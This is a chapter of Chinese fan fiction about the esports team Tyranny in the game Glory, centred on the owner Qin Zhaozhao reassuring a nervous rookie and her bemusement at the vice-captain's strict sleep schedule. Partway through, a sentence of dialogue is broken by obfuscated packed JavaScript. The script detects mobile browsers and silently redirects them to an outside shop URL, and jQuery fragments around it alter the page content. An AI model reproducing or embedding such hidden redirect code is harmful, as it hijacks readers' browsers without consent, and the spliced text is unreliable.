第七赛季的脚步声越来越近了。
转会期的大门在几天前“哐当”一声关上，整个荣耀联盟像是经历了一场大洗牌，各家战队都在官方账号上公布了最终阵容。粉丝们有的欢呼，有的叹息，有的摩拳擦掌准备新赛季的战斗，论坛和微博上热闹得像过年。
而霸图这边，秦昭昭在最后一刻按住了李经理想要再签个替补选手的手。
“够了够了。”她盯着电脑屏幕上已经确定的一线队名单，满意地点点头，“这些人就够了。”
名单上清晰地列着：
韩文清，拳法家，大漠孤烟
张新杰，牧师，石不转
张佳乐，弹药专家，百花缭乱
林敬言，流氓，唐三打
白言飞，元素法师，罗塔
秦牧云，神枪手，零下九度
郑乘风，守护使者，山逢地裂
张奇，剑客，纵酒狂歌
七名正式队员，一名替补，阵容算不上臃肿，但每个位置都扎实得让人心惊。韩文清的刚猛，张新杰的严谨，张佳乐的华丽，林敬言的狡猾，白言飞的灵动，秦牧云的沉稳，再加上郑乘风的守护和张奇的策应。这阵容摆在纸面上，就已经让不少战队头皮发麻了。
银河战舰的外号在荣耀圈里越传越响，有人期待，有人质疑，但更多的人是在观望，想看看这支用钱堆起来的豪华战队，到底能在新赛季掀起多大的风浪。
秦昭昭才不管别人怎么想。她对自己的选择信心十足，尤其是在亲眼看到队员们一天比一天默契的训练之后。
但问题总是有的。
比如秦牧云。
这孩子自从被秦昭昭从训练营“捡”上来，就一直表现得特别努力，努力得让人有点心疼。他话不多，训练时永远是最专注的那个，韩文清布置的加练任务，他从来都是超额完成。张新杰给的战术笔记，他能翻来覆去背好几遍。
可有时候，太努力也不是好事。
秦昭昭发现，最近秦牧云的状态有点不对劲。训练时的操作依然精准，但少了点之前的灵性，打法越来越保守，有时候明明有机会进攻，他却选择了稳妥的防守。在团队配合练习里，他也总显得有些迟疑，不敢放开手脚打。
最关键的是，他加练的时间越来越晚。
俱乐部装修后，训练室是二十四小时开放的，但韩文清立了规矩，最晚不能超过十一点。可秦牧云好几次都是踩着十一点的线才离开，有时候甚至要韩文清亲自去催。
这天晚上十点半，秦昭昭处理完一些俱乐部杂事，准备回家前想去训练室看看。推开训练室的门，里面果然还亮着一盏灯。
秦牧云坐在自己的位置上，屏幕上是荣耀竞技场的界面。他的神枪手零下九度正和一个战斗法师缠斗，操作依旧精准，走位依旧稳健，但秦昭昭能看出来，他的手速在下降，反应也慢了半拍。
屏幕上，零下九度一个滑铲躲开战斗法师的龙牙，起身时却没来得及拉开距离，被对方一个连突刺挑飞，紧接着一套连招，血线哗啦啦往下掉。
最后，屏幕上弹出“失败”两个大字。
秦牧云盯着屏幕看了几秒钟，然后摘下耳机，揉了揉太阳穴。他没注意到秦昭昭进来了。
“牧云。”秦昭昭叫了一声。
秦牧云吓了一跳，猛地转过身，看见是秦昭昭，赶紧站起来：“秦总。”
秦昭昭摆摆手，拉过旁边一把椅子坐下：“这么晚了，还不休息？”
“我……再练一会儿。”秦牧云小声说，“今天的团队配合练习，我失误了两次，张副队指出来了，我想多练练。”
秦昭昭看了眼屏幕上的战绩记录——十局竞技场，赢了四局，输了六局。对秦牧云这个水平的选手来说，这个胜率有点低了。
“你最近压力很大吧？”秦昭昭问得很直接。
秦牧云沉默了几秒，然后点点头。
“说说，怎么想的？”秦昭昭换了个舒服的坐姿，摆出一副“咱们好好聊聊”的架势。
秦牧云咬了咬嘴唇，声音很低：“我就是……怕拖大家后腿。”
他抬起头，看向秦昭昭，那双平时总是很平静的眼睛里，此刻满是担忧和不安。
“秦总，我是训练营出来的，才十六岁，没打过正式比赛。咱们队里，韩队是拳皇，张副队是战术大师，张佳乐前辈和林敬言前辈都是全明星也都是核心，白言飞前辈也打了好几个赛季了。我……我算什么？”
他越说声音越小：“有时候训练，我看着他们的操作，觉得自己差得太远了。张副队的战术那么复杂，我理解起来都费劲，更别说执行了。韩队的要求那么高，我拼命练也达不到。还有张佳乐前辈的百花式打法，白言飞前辈的元素法师……”
秦牧云深吸一口气：“我怕。怕自己不够好，怕正式比赛的时候紧张失误，怕因为我，战队输了比赛。网上那些人说，咱们是银河战舰，是最有希望拿冠军的队伍。要是我成了那个短板，我……”
他说不下去了。
训练室里很安静，只有电脑主机运转时发出的轻微嗡嗡声。
秦昭昭没立刻说话。她看着眼前这个才十六岁的少年，看着他紧抿的嘴唇和微微发抖的手指，忽然想起三个月前的自己。
那时候她刚接触荣耀，创建了第一个角色昭昭日月，兴冲冲地冲进竞技场，然后被人打得满地找牙。她也怀疑过自己，也觉得自己太菜了，也想过要不别玩了。
但她没放弃。
因为她发现，哪怕输了，哪怕操作烂得像一坨屎，但只要拳法家的拳头砸在对手脸上时发出“砰”的那一声，她就特别开心。
那种纯粹的、毫不讲理的快乐，让她坚持了下来。
“牧云。”秦昭昭开口，声音比平时温和很多，“你知道我玩荣耀多久了吗？”
秦牧云愣了一下：“三……三个月？”
“对，三个月，不过现在快四个月了。”秦昭昭点点头，“三个月前，我连二十四个职业都分不清。第一次打竞技场，被人用魔道学者骑着扫把溜了整整三分钟，连人家衣角都没摸到。第二次打剑客，被一套连招直接带走，我连技能都没放出来。”
她说着，自己都笑了：“那时候我也觉得自己特菜，特丢人。我闺蜜林小雨，就是玩弹药专家的那个，她劝我换个职业，说女孩子玩元素法师或者枪炮师多好看，干嘛非要玩拳法家这种糙汉职业。”
秦牧云听着，眼睛微微睁大。
“但我不换。”秦昭昭说，“因为我喜欢啊。我喜欢拳法家那种拳拳到肉的感觉，喜欢那种不用太多花哨技巧、直接硬碰硬的风格。哪怕我打得很烂，哪怕我胜率只有百分之四十二，但我就是开心。每次用伏虎腾翔砸中对手的时候，我都觉得特别爽，爽得能多吃一碗饭。”
她看着秦牧云，很认真地说：“所以我觉得，玩游戏也好，打职业也好，最重要的不是什么技术，不是什么战术，甚至不是输赢。”
“那是什么？”秦牧云忍不住问。
“是开心啊。”秦昭昭说得理所当然，“你要是打得不开心，那还打什么？每天愁眉苦脸地训练，担心这担心那，就算最后拿了冠军，又有什么意思？”
她顿了顿，继续说：“我知道你压力大，知道自己是从训练营上来的，知道队里都是大神。但你想过没有，韩队和张副队为什么把你留下来？张佳乐和林敬言为什么从来没说过你不行？因为他们看得出来，你有潜力，你有天赋，你只是需要时间。”
“可我怕时间不够……”秦牧云小声说。
“时间不够就慢慢来。”秦昭昭拍了拍他的肩膀，“新赛季还有一周才开打呢，急什么？再说了，你是神枪手，不是拳法家，不需要像韩队那样正面硬刚。你的优势是稳，是准，是能在关键时刻给出致命一击。把你自己最擅长的东西发挥出来就行了，别老想着要变成谁谁谁。你知道他们成为那样的选手用了几年吗？谁都是从新手出来的。”
她站起来，走到窗边，看着外面Q市的夜景：“牧云，你知道我最佩服你们职业选手什么吗？”
秦牧云摇摇头。
“不是技术，不是操作，是你们敢做梦。”秦昭昭转过头，微笑着着他，“敢做拿冠军的梦，敢为了这个梦拼尽全力，敢在所有人都不看好的时候依然相信自己。这种勇气，比任何技术都珍贵。”
她走回来，双手撑在秦牧云的电脑桌上，俯身看着他：“所以，别怕。放开手打，打错了有我兜着，输赢有整个战队一起扛。你就记住一件事——打得开心点。要是连你自己都不开心了，那这游戏，这比赛，还有什么意思？况且，你是我看中的人，我说没问题就一定没问题，不用给自己太大压力。”
秦牧云看着她，看着她眼睛里那种毫不掩饰的信任和期待，忽然觉得心里那块沉甸甸的石头，松动了。
是啊，他喜欢荣耀吗？
喜欢。从三年前第一次接触这个游戏，他就喜欢上了神枪手这个职业，喜欢那种在远处精准狙击的感觉，喜欢那种掌控节奏的快感。
可自从进了霸图一线队，他好像把这种喜欢忘记了。满脑子都是“我不能拖后腿”“我要变强”“我要达到韩队的要求”，却忘了最初拿起枪时那种单纯的快乐。
“秦总……”秦牧云张了张嘴，想说什么，但最后只化作一句，“谢谢。”
“谢什么谢。”秦昭昭直起身，打了个哈欠，“行了，今天就练到这儿，赶紧回去睡觉。明天早上要是让我看到你顶着黑眼圈来训练，我就扣你工资……不对，我就让食堂阿姨不给你加鸡腿。”
秦牧云忍不住笑了，乖巧地点了点头：“好。”
他保存了训练数据，关了电脑，站起身。走出训练室的时候，他的脚步比进来时轻快了很多。
秦昭昭看着他的背影，满意地点点头。搞定一个。
但还有一个问题需要解决。
她看了眼时间，十点四十五。嗯，还来得及。
她转身走出训练室，上了三楼，来到张新杰的房间门口。张新杰的房间在走廊最里面，特别安静，门牌上干干净净，连个装饰都没有，非常符合他的风格。
秦昭昭敲了敲门。
几秒后，门开了。张新杰穿着一身整齐的睡衣，是的，连睡衣都穿得像要去开会一样平整。他鼻梁上架着副眼镜，手里拿着本书，看起来正准备睡觉。
“秦总？”张新杰有些意外，“有事吗？”
“有点事想跟你聊聊。”秦昭昭说，“关于秦牧云的。方便吗？”
张新杰点点头，侧身让她进来。
张新杰的房间是秦昭昭见过最整齐的房间，没有之一。床铺平整得像用熨斗熨过，被子叠成标准的豆腐块。书架上书籍按高度排列，从高到矮，一丝不苟。书桌上除了电脑和几本战术笔记，什么都没有，连支笔都放在固定的位置。
秦昭昭在书桌前的椅子上坐下，张新杰则坐在床边，姿势端正得像是要拍证件照。
“秦牧云最近的状态，你注意到了吧？”秦昭昭开门见山。
“注意到了。”张新杰推了推眼镜，“训练时操作精度下降百分之三，团队配合响应时间延长零点二秒，进攻主动性降低明显。心理压力过大导致的。”
他说话永远这么精准，像在念数据报告。
“我刚才跟他聊了聊，感觉好点了。”秦昭昭说，“但他毕竟才十六岁，又是从训练营直接上来的，压力肯定大。你看接下来怎么调整比较好？”
张新杰思考了几秒，然后从书桌上拿起一本厚厚的笔记本，翻开到某一页：“我已经做了调整计划。接下来三天，减少他的团队配合训练量，增加个人针对性练习。同时安排他和白言飞组队打竞技场，白言飞的性格比较活泼，能带动气氛。另外，我会在战术布置上给他更明确、更简单的指令，减少他的决策负担。”
他说着，又把笔记本翻到另一页：“这是心理调节方案。建议他每天训练后做十五分钟放松练习，周末安排一次团队活动，转移注意力。另外，饮食和睡眠也需要调整，我已经跟食堂和后勤说了，给他准备一些有助于缓解压力的食物。”
秦昭昭听得一愣一愣的。
好家伙，这计划详细得跟作战方案似的，连吃什么睡多久都安排好了。
“张副队，你这……”她张了张嘴，“也太周全了吧？”
“应该的。”张新杰平静地说，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908397|192419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“选手的状态管理是战术的一部分。秦牧云有潜力，但需要正确的引导。如果因为心理问题影响发挥，对战队是损失，对他自己也是伤害。”
他说这话时语气很平淡，但秦昭昭能听出里面的认真。
这就是张新杰。永远用最严谨的态度，做最周全的准备，关心队员的方式都像在执行战术任务，但那份关心是真的。
“有你在他肯定没问题。”秦昭昭松了口气，“那我就放心了。”
她看了眼时间，十点五十五。
正准备再说点什么，却注意到张新杰也瞥了一眼墙上的挂钟，然后很轻微地调整了一下坐姿。
“张副队，你……”秦昭昭试探性地问，“是不是有什么事？”
张新杰推了推眼镜：“秦总，还有五分钟到十一点。”
“啊？所以呢？”
“我十一点要准时睡觉。”张新杰说得很自然，仿佛在陈述“天是蓝的”一样的基本事实，“而且要睡着。”
秦昭昭：“……？”
她眨了眨眼，以为自己听错了：“你说什么？十一点准时睡觉？还要睡着？”
“是的。”张新杰点头，“良好的作息是保持思维清晰的基础。我习惯十一点入睡，六点起床，七小时睡眠，中午午休一个半小时。这个作息我已经坚持了七年。”
秦昭昭张着嘴，半天没合上。
她知道张新杰严谨，知道他自律，知道他连吃饭都要按固定顺序。但她没想到，这人连睡觉都要像机器一样精准到分钟。
“不是，张副队……”秦昭昭试图理解，“你是怎么做到‘准时睡着’的？睡觉这种事，不是想睡就能睡着的吧？”
“可以训练。”张新杰很认真地说，“通过固定睡前流程，让身体形成条件反射。我睡前会看十五分钟书，内容以理论性较强的战术分析或数据报告为主，有助于大脑从活跃状态过渡到休息状态。九点五十五分合上书，做三分钟深呼吸和肌肉放松练习，十一点整关灯躺下。通常在三到五分钟内就能入睡。”
秦昭肃：“……”
她脑子里只有一句话：你是机器吗？！
活生生的人怎么可能像闹钟一样，到点就睡，还能控制自己在几分钟内睡着？这已经不是自律了，这是超能力吧？！
张新杰看了眼时间，十点五十七分。
“秦总，如果没有其他事的话……”他委婉地提示。
“哦哦哦，没事了没事了！”秦昭昭赶紧站起来，“你睡你睡，我不打扰了。”
她几乎是逃出张新杰房间的。
关上门，站在走廊里，秦昭昭还觉得脑子有点转不过来。她活了二十多年，见过各种怪人，但像张新杰这种能把生活过成精密仪器的，还真是头一回见。
她想起张佳乐曾经吐槽说“张新杰严谨得像机器人”，现在她觉得，张佳乐还是太客气了。这哪是像机器人，这就是机器人本机啊！
不过转念一想，有这样的副队长在，好像也挺好的。至少战队的管理和战术永远不用她操心。
秦昭昭摇摇头，一边往自己房间走，一边忍不住笑出声。
她的战队里，有韩文清那种硬汉，有张佳乐那种华丽派，有林敬言那种斯文败类——不对，是斯文选手，有白言飞那种活宝，有秦牧云那种闷葫芦，现在还有个张新杰这种人体闹钟。
这阵容，不光游戏里风格各异，现实里也是个顶个的有个性。
新赛季，肯定会特别有意思。
回到自己房间，秦昭昭洗了个澡，躺在床上。她看了眼手机，林小雨又发来消息，问她张佳乐的签名照什么时候能寄过去。
秦昭昭回复：“明天就寄，急什么。”
发完消息，她放下手机，闭上眼睛。
脑子里却不由自主地开始循环张新杰那句话——“我十一点要准时睡觉，而且要睡着”。
她试着想象那个画面：张新杰穿着整齐的睡衣，靠在床上看战术报告，九点五十五分合上书，做三分钟放松练习，十点整关灯，躺平，三分钟后呼吸均匀，进入梦乡。
整个流程像程序一样精准。
秦昭昭憋不住了，把脸埋进枕头里，笑得肩膀直抖。
太好笑了，真的太好笑了。
笑着笑着，她也困了。看了眼时间，十一点。对她这个夜猫子来说，已经算早睡了。
关灯前，她最后看了眼窗外。
Q市的夜晚很安静，远处的海面上有船灯闪烁。
霸图俱乐部的灯大部分都熄灭了，只有走廊的夜灯还亮着，柔和的黄光透过门缝漏进来一点。
秦昭昭忽然觉得，这个被她爹买来当“玩具”的俱乐部，这个她一开始只想玩玩的地方，不知什么时候，已经成了她生活中很重要的一部分。
这里有她要守护的人，有她要实现的梦想，有她要一起并肩作战的伙伴。
虽然她还是不太懂职业圈的那些弯弯绕绕，虽然她玩荣耀才三个月，虽然她有时候做事挺胡闹的。
但没关系。
她有最好的队长，最严谨的副队长，最华丽的弹药专家，最狡猾的流氓，最活泼的元素法师，最沉稳的神枪手，还有一整个支持她的团队。
而在此时，张新杰已经入睡二十三分钟，呼吸均匀，睡姿标准。
走廊另一头，韩文清刚刚结束今天的加练，关掉电脑，起身时看了眼时间——十一点十分，比平时晚了十分钟。
他皱了皱眉，决定明天把训练效率再提高一点。
张佳乐正戴着耳机听音乐，手里拿着平板看比赛录像，看到精彩处，忍不住小声嘀咕：“这走位……漂亮！”
林敬言在跟方锐发微信，两人约好周末线上打几局。
白言飞已经睡得四仰八叉，梦里还在喊：“看我的元素法师！轰轰轰！”
而秦牧云，刚刚做完张新杰建议的放松练习，躺在床上，闭上眼睛。
这一次，他没有再想那些令人焦虑的问题。
他只是想起了秦昭昭说的那句话——
“打得开心点。”
他轻轻呼出一口气，嘴角微微上扬。
嗯，明天，要打得开心一点。